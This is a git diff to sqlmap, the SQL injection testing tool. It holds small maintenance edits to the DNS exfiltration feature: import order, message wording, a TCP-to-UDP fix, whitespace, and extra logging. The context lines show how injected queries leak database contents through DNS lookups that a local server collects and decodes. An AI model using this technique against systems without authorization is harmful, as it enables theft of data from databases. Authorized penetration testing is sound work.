diff --git a/lib/core/option.py b/lib/core/option.py
index ce6029fa8..1f6e88574 100644
--- a/lib/core/option.py
+++ b/lib/core/option.py
@@ -77,7 +77,6 @@ from lib.core.exception import sqlmapSyntaxException
 from lib.core.exception import sqlmapUnsupportedDBMSException
 from lib.core.exception import sqlmapUserQuitException
 from lib.core.optiondict import optDict
-from lib.request.dns import DNSServer
 from lib.core.settings import CODECS_LIST_PAGE
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import DEFAULT_PAGE_ENCODING
@@ -116,6 +115,7 @@ from lib.core.update import update
 from lib.parse.configfile import configFileParser
 from lib.parse.payloads import loadPayloads
 from lib.request.connect import Connect as Request
+from lib.request.dns import DNSServer
 from lib.request.proxy import ProxyHTTPSHandler
 from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler
 from lib.request.certhandler import HTTPSCertAuthHandler
@@ -1719,7 +1719,7 @@ def __setDNSServer():
     if not conf.dnsDomain:
         return
 
-    infoMsg = "making DNS server instance"
+    infoMsg = "setting up DNS server instance"
     logger.info(infoMsg)
 
     isAdmin = runningAsAdmin()
@@ -1730,7 +1730,7 @@ def __setDNSServer():
     else:
         errMsg = "you need to run sqlmap as an administrator "
         errMsg += "if you want to perform a DNS data exfiltration attack "
-        errMsg += "as it will need to listen on privileged TCP port 53 "
+        errMsg += "as it will need to listen on privileged UDP port 53 "
         errMsg += "for incoming address resolution attempts"
         raise sqlmapMissingPrivileges, errMsg
 
diff --git a/lib/core/settings.py b/lib/core/settings.py
index ae3e4f499..6d55b7739 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -194,12 +194,12 @@ REFERER_ALIASES = ( "ref", "referer", "referrer" )
 HOST_ALIASES = ( "host", )
 
 FROM_DUMMY_TABLE = {
-                        DBMS.ORACLE: " FROM DUAL",
-                        DBMS.ACCESS: " FROM MSysAccessObjects",
-                        DBMS.FIREBIRD: " FROM RDB$DATABASE",
-                        DBMS.MAXDB: " FROM VERSIONS",
-                        DBMS.DB2: " FROM SYSIBM.SYSDUMMY1"
-                      }
+                     DBMS.ORACLE: " FROM DUAL",
+                     DBMS.ACCESS: " FROM MSysAccessObjects",
+                     DBMS.FIREBIRD: " FROM RDB$DATABASE",
+                     DBMS.MAXDB: " FROM VERSIONS",
+                     DBMS.DB2: " FROM SYSIBM.SYSDUMMY1"
+                   }
 
 SQL_STATEMENTS = {
                        "SQL SELECT statement":  (
diff --git a/lib/request/dns.py b/lib/request/dns.py
index 4cbd45d4b..427b456c8 100644
--- a/lib/request/dns.py
+++ b/lib/request/dns.py
@@ -90,14 +90,18 @@ if __name__ == "__main__":
     try:
         server = DNSServer()
         server.run()
+
         while server._running:
             while True:
                 _ = server.pop()
+
                 if _ is None:
                     break
                 else:
                     print "[i] %s" % _
+
             time.sleep(1)
+
     except socket.error, ex:
         if 'Permission' in str(ex):
             print "[x] Please run with sudo/Administrator privileges"
diff --git a/lib/request/inject.py b/lib/request/inject.py
index a59a7e8ce..1dee26941 100644
--- a/lib/request/inject.py
+++ b/lib/request/inject.py
@@ -85,11 +85,15 @@ def __goDns(payload, expression):
 
     if conf.dnsDomain and kb.dnsTest is not False:
         if kb.dnsTest is None:
+            logger.info("testing for data retrieval through DNS channel")
+
             randInt = randomInt()
             kb.dnsTest = dnsUse(payload, "SELECT %d%s" % (randInt, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""))) == str(randInt)
+
             if not kb.dnsTest:
                 errMsg = "test for data retrieval through DNS channel failed. Turning off DNS exfiltration support"
                 logger.error(errMsg)
+
                 conf.dnsDomain = None
             else:
                 infoMsg = "test for data retrieval through DNS channel was successful"
diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py
index 124e7bc97..8fe74d86c 100644
--- a/lib/techniques/dns/use.py
+++ b/lib/techniques/dns/use.py
@@ -53,6 +53,7 @@ def dnsUse(payload, expression):
 
     if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE):
         output = hashDBRetrieve(expression, checkConf=True)
+
         if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
             output = None
 
@@ -79,14 +80,17 @@ def dnsUse(payload, expression):
                     forgedPayload = agent.payload(newValue=query)
                 else:
                     forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))
+
                 Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False)
 
                 _ = conf.dnsServer.pop(prefix, suffix)
+
                 if _:
                     _ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
                     _ = decodeHexValue(_)
                     output = (output or "") + _
                     offset += len(_)
+
                     if len(_) < chunk_length:
                         break
                 else:
@@ -96,8 +100,10 @@ def dnsUse(payload, expression):
 
         if output is not None:
             retVal = output
+
             if kb.dnsTest is not None:
                 dataToStdout("[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output)))
+
                 if count > 0:
                     hashDBWrite(expression, output)